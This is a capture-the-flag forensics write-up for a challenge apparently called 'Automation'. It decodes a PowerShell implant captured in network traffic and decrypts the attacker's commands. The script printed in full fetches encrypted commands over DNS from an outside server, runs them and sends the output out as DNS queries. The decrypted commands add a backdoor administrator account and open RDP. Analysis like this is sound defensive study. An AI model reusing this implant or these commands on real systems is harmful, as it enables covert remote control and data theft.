Automation
4 minutes to read
We are given a PCAP file with a lot of packets:
HTTP traffic
If we filter by HTTP, we will see some requests and responses:
As can be seen, the victim is downloading an exe
file. This time we won’t be analyzing the binary file. Notice that there is a suspicious request to /desktop.png
. The response contains Base64-encoded data:
PowerShell analysis
If we decode it, we will get a PowerShell script:
$ echo 'ZnVuY3Rpb24gQ3JlYXRlLUFlc01hbmFnZWRPYmplY3QoJGtleSwgJElWKSB7CiAgICAkYWVzTWFuYWdlZCA9IE5ldy1PYmplY3QgIlN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzTWFuYWdlZCIKICAgICRhZXNNYW5hZ2VkLk1vZGUgPSBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDCiAgICAkYWVzTWFuYWdlZC5QYWRkaW5nID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpaZXJvcwogICAgJGFlc01hbmFnZWQuQmxvY2tTaXplID0gMTI4CiAgICAkYWVzTWFuYWdlZC5LZXlTaXplID0gMjU2CiAgICBpZiAoJElWKSB7CiAgICAgICAgaWYgKCRJVi5nZXRUeXBlKCkuTmFtZSAtZXEgIlN0cmluZyIpIHsKICAgICAgICAgICAgJGFlc01hbmFnZWQuSVYgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRJVikKICAgICAKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRhZXNNYW5hZ2VkLklWID0gJElWCiAgICAgCgogICAgICAgIH0KICAgIH0KICAgIGlmICgka2V5KSB7CgogICAgICAgIGlmICgka2V5LmdldFR5cGUoKS5OYW1lIC1lcSAiU3RyaW5nIikgewogICAgICAgICAgICAkYWVzTWFuYWdlZC5LZXkgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRrZXkpCiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkYWVzTWFuYWdlZC5LZXkgPSAka2V5CiAgICAgICAgfQogICAgfQogICAgJGFlc01hbmFnZWQKfQoKZnVuY3Rpb24gQ3JlYXRlLUFlc0tleSgpIHsKICAKICAgICRhZXNNYW5hZ2VkID0gQ3JlYXRlLUFlc01hbmFnZWRPYmplY3QgJGtleSAkSVYKICAgIFtTeXN0ZW0uQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKCRhZXNNYW5hZ2VkLktleSkKfQoKZnVuY3Rpb24gRW5jcnlwdC1TdHJpbmcoJGtleSwgJHVuZW5jcnlwdGVkU3RyaW5nKSB7CiAgICAkYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCR1bmVuY3J5cHRlZFN0cmluZykKICAgICRhZXNNYW5hZ2VkID0gQ3JlYXRlLUFlc01hbmFnZWRPYmplY3QgJGtleQogICAgJGVuY3J5cHRvciA9ICRhZXNNYW5hZ2VkLkNyZWF0ZUVuY3J5cHRvcigpCiAgICAkZW5jcnlwdGVkRGF0YSA9ICRlbmNyeXB0b3IuVHJhbnNmb3JtRmluYWxCbG9jaygkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpOwogICAgW2J5dGVbXV0gJGZ1bGxEYXRhID0gJGFlc01hbmFnZWQuSVYgKyAkZW5jcnlwdGVkRGF0YQogICAgJGFlc01hbmFnZWQuRGlzcG9zZSgpCiAgICBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRmdWxsRGF0YSkucmVwbGFjZSgiLSIsIiIpCn0KCmZ1bmN0aW9uIERlY3J5cHQtU3RyaW5nKCRrZXksICRlbmNyeXB0ZWRTdHJpbmdXaXRoSVYpIHsKICAgICRieXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVuY3J5cHRlZFN0cmluZ1dpdGhJVikKICAgICRJViA9ICRieXRlc1swLi4xNV0KICAgICRhZXNNYW5hZ2VkID0gQ3JlYXRlLUFlc01hbmFnZWRPYmplY3QgJGtleSAkSVYKICAgICRkZWNyeXB0b3IgPSAkYWVzTWFuYWdlZC5DcmVhdGVEZWNyeXB0b3IoKTsKICAgICR1bmVuY3J5cHRlZERhdGEgPSAkZGVjcnlwdG9yLlRyYW5zZm9ybUZpbmFsQmxvY2soJGJ5dGVzLCAxNiwgJGJ5dGVzLkxlbmd0aCAtIDE2KTsKICAgICRhZXNNYW5hZ2VkLkRpc3Bvc2UoKQogICAgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHVuZW5jcnlwdGVkRGF0YSkuVHJpbShbY2hhcl0wKQp9CgpmaWx0ZXIgcGFydHMoJHF1ZXJ5KSB7ICR0ID0gJF87IDAuLlttYXRoXTo6Zmxvb3IoJHQubGVuZ3RoIC8gJHF1ZXJ5KSB8ICUgeyAkdC5zdWJzdHJpbmcoJHF1ZXJ5ICogJF8sIFttYXRoXTo6bWluKCRxdWVyeSwgJHQubGVuZ3RoIC0gJHF1ZXJ5ICogJF8pKSB9fSAKJGtleSA9ICJhMUU0TVV0eWNXc3dUbXRyTUhkcWRnPT0iCiRvdXQgPSBSZXNvbHZlLURuc05hbWUgLXR5cGUgVFhUIC1EbnNPbmx5IHdpbmRvd3NsaXZldXBkYXRlci5jb20gLVNlcnZlciAxNDcuMTgyLjE3Mi4xODl8U2VsZWN0LU9iamVjdCAtUHJvcGVydHkgU3RyaW5nczsKZm9yICgkbnVtID0gMCA7ICRudW0gLWxlICRvdXQuTGVuZ3RoLTI7ICRudW0rKyl7CiRlbmNyeXB0ZWRTdHJpbmcgPSAkb3V0WyRudW1dLlN0cmluZ3NbMF0KJGJhY2tUb1BsYWluVGV4dCA9IERlY3J5cHQtU3RyaW5nICRrZXkgJGVuY3J5cHRlZFN0cmluZwokb3V0cHV0ID0gaWV4ICRiYWNrVG9QbGFpblRleHQ7JHByID0gRW5jcnlwdC1TdHJpbmcgJGtleSAkb3V0cHV0fHBhcnRzIDMyClJlc29sdmUtRG5zTmFtZSAtdHlwZSBBIC1EbnNPbmx5IHN0YXJ0LndpbmRvd3NsaXZldXBkYXRlci5jb20gLVNlcnZlciAxNDcuMTgyLjE3Mi4xODkKZm9yICgkYW5zID0gMDsgJGFucyAtbHQgJHByLmxlbmd0aC0xOyAkYW5zKyspewokZG9tYWluID0gLWpvaW4oJHByWyRhbnNdLCIud2luZG93c2xpdmV1cGRhdGVyLmNvbSIpClJlc29sdmUtRG5zTmFtZSAtdHlwZSBBIC1EbnNPbmx5ICRkb21haW4gLVNlcnZlciAxNDcuMTgyLjE3Mi4xODkKICAgIH0KUmVzb2x2ZS1EbnNOYW1lIC10eXBlIEEgLURuc09ubHkgZW5kLndpbmRvd3NsaXZldXBkYXRlci5jb20gLVNlcnZlciAxNDcuMTgyLjE3Mi4xODkKfQ==' | base64 -d
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Create-AesKey() {
$aesManaged = Create-AesManagedObject $key $IV
[System.Convert]::ToBase64String($aesManaged.Key)
}
function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
The script defines some cryrptographic functions (AES) to encrypt/decrypt data. At the bottom of the script, we see what the attacker is trying to do. It looks like it is exiltrating information via DNS queries as subdomains of windowsliveupdater.com
.
Actually, there are two for
loops. Let’s format the code a bit:
filter parts($query) {
$t = $_;
0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }
}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189 | Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length - 2; $num++) {
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText;
$pr = Encrypt-String $key $output | parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length - 1; $ans++){
$domain = -join($pr[$ans], ".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
DNS queries
This is the first DNS query, which extracts payloads from the TXT
field:
Since we have the AES key from the script, we can decrypt all the payloads using Python:
$ python3 -q
>>> from Crypto.Cipher import AES
>>> from base64 import b64decode as b64d
>>>
>>> key = b64d('a1E4MUtycWswTmtrMHdqdg==')
>>>
>>> def decrypt(b64_data: str) -> bytes:
... enc_data = b64d(b64_data)
... iv, ct = enc_data[:16], enc_data[16:]
... return AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
...
>>> decrypt('Ifu1yiK5RMABD4wno66axIGZuj1HXezG5gxzpdLO6ws=')
b'hostname\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('hhpgWsOli4AnW9g/7TM4rcYyvDNky4yZvLVJ0olX5oA=')
b'whoami\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('58v04KhrSziOyRaMLvKM+JrCHpM4WmvBT/wYTRKDw2s=')
b'ipconfig\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('eTtfUgcchm/R27YJDP0iWnXHy02ijScdI4tUqAVPKGf3nsBE28fDUbq0C8CnUnJC57lxUMYFSqHpB5bhoVTYafNZ8+ijnMwAMy4hp0O4FeH0Xo69ahI8ndUfIsiD/Bru')
b'wmic /namespace:\\\\root\\SecurityCenter PATH AntiVirusProduct GET /value\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('BbvWcWhRToPqTupwX6Kf7A0jrOdYWumqaMRz6uPcnvaDvRKY2+eAl0qT3Iy1kUGWGSEoRu7MjqxYmek78uvzMTaH88cWwlgUJqr1vsr1CsxCwS/KBYJXhulyBcMMYOtcqImMiU3x0RzlsFXTUf1giNF2qZUDthUN7Z8AIwvmz0a+5aUTegq/pPFsK0i7YNZsK7JEmz+wQ7Ds/UU5+SsubWYdtxn+lxw58XqHxyAYAo0=')
b'net user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsr'
>>> decrypt('vJxlcLDI/0sPurvacG0iFbstwyxtk/el9czGxTAjYBmUZEcD63bco9uzSHDoTvP1ZU9ae5VW7Jnv9jsZHLsOs8dvxsIMVMzj1ItGo3dT+QrpsB4M9wW5clUuDeF/C3lwCRmYYFSLN/cUNOH5++YnX66b1iHUJTBCqLxiEfThk5A=')
b'netsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389\x00\x00\x00\x00\x00\x00'
>>> decrypt('M3/+2RJ/qY4O+nclGPEvJMIJI4U6SF6VL8ANpz9Y6mSHwuUyg4iBrMrtSsfpA2bh')
b'net start TermService\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Nice, these payloads are actually commands that will be executed with iex
. Moreover, we have one part of the flag:
$ echo JHBhcnQxPSdIVEJ7eTB1X2M0bl8n | base64 -d
$part1='HTB{y0u_c4n_'
The output of the commands will be sent as DNS queries (encrypted), between a query to start.windowsliveupdater.com
and a query to end.windowsliveupdater.com
. For example:
So, let’s modify a bit the decrypt
function and decrypt the commands output:
>>> def decrypt(hex_data: str) -> bytes:
... enc_data = bytes.fromhex(hex_data)
... iv, ct = enc_data[:16], enc_data[16:]
... return AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
...
>>> decrypt('CC1C9AC2958A2E63609272E2B4F8F436 32A806549B03AB7E4EB39771AEDA4A1B C1006AC8A03F9776B08321BD6D5247BB')
b'intergalacticopcenter\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('7679895D1CF7C07BB6A348E1AA4AFC65 5958A6856F1A34AAD5E97EA55B087670 35F2497E5836EA0ECA1F1280F59742A3')
b'intergalacticop\\sysadmin\x00\x00\x00\x00\x00\x00\x00\x00'
>>> decrypt('09E28DD82C14BC32513652DAC2F2C27B 0D73A3288A980D8FCEF94BDDCF9E2822 2A1CA17BB2D90FCD6158856348790414 20FC39C684A9E371CC3A06542B666005 5840BD94CCE65E23613925B4D9D2BA53 18EA75BC653004D45D505ED62567017A 6FA4E7593D83092F67A81082D9930E99 BA20E34AACC4774F067442C6622F5DA2 A9B09FF558A8DF000ECBD37804CE663E 3521599BC7591005AB6799C57068CF0D C6884CECF01C0CD44FD6B82DB788B35D 62F02E4CAA1D973FBECC235AE9F40254 C63D3C93C89930DA2C4F42D9FC123D8B AB00ACAB5198AFCC8C6ACD81B19CD264 CC6353668CEA4C88C8AEEA1D58980022 DA8FA2E917F17C28608818BF550FEA66 973B5A8355258AB0AA281AD88F5B9EB1 03AC666FE09A1D449736335C09484D27 1C301C6D5780AB2C9FA333BE3B0185BF 071FB1205C4DBEAA2241168B0748902A 6CE14903C7C47E7C87311044CB9873A4')
b' Windows IP Configuration Ethernet adapter Ethernet: Connection-specific DNS Suffix . : home Link-local IPv6 Address . . . . . : fe80::fdbd:2c54:d6b:c384%6 IPv4 Address. . . . . . . . . . . : 10.0.2.15 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.0.2.2\x00\x00\x00\x00\x00'
>>> decrypt('ECABC349D27C0B0FFFD1ACEEDBE06BB6 C2EB000EE4F9B35D6F001500E85642A2 DCC8F1BE2CF4D667F458C1DE46D24B1C 2E0F5D94E52649C70402C1B0A2FF7B49 FC32DDD67F275307A74B2C4D0864B3F0 486186DA9443EB747F717B3911C959DC 7E300844D60655410C3988238E615D61 6F33D27F63CE4D1E065A416911BC50D4 58749599D2CB08DB561988EB2902E05D 9886FDDAC2BED6F6DA73637AD2F20CF1 99B8CE3D9DEE03C0180C7D1198B49C02 769E5EE4EAB896D7D3BB478EA1408167 79472A243BFB0852AF372323EC132988 3C81A3F2AEB1D3DAAE8496E1DBF97F43 5AE40A09203B890C4A174D77CB7026C4 E990A6FB6424A7501823AD31D3D6B634 4C7971C8D447C078C4471732AD881C39 4BC8B1A66E0BED43DDC359269B57D1D5 D68DCD2A608BF61716BB47D6FE4D5C9D 6E8BB2981F214A8234B0DD0210CA96EB 2D6322B0F7F3D748C4C9F8B80EFF5A69 21A3D1A8621A49F4D29BC9851D25230B')
b' companyName=Panaman displayName=Pan Antivirus 4.0, $part2=4utom4t3_but_y0u_c4nt_h1de} instanceGuid={CD3EA3C2-91CB-4359-90DC-1E909147B6B0} onAccessScanningEnabled=TRUE pathToSignedProductExe=panantivirus:// productHasNotifiedUser= productState= productUptoDate=TRUE productWantsWscNotifications= versionNumber=4.0.0.1 '
>>> decrypt('4BC8B1A66E0BED43DDC359269B57D1D5 D68DCD2A608BF61716BB47D6FE4D5C9D 6E8BB2981F214A8234B0DD0210CA96EB 2D6322B0F7F3D748C4C9F8B80EFF5A69 21A3D1A8621A49F4D29BC9851D25230B')
b'RUE productWantsWscNotifications= versionNumber=4.0.0.1 '
>>> decrypt('AE4ABE8A3A88D21DEEA071A72D65A35E F158D9F025897D1843E37B7463EC7833')
b'Ok. \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Flag
Now we can join the two parts and capture the flag:
HTB{y0u_c4n_4utom4t3_but_y0u_c4nt_h1de}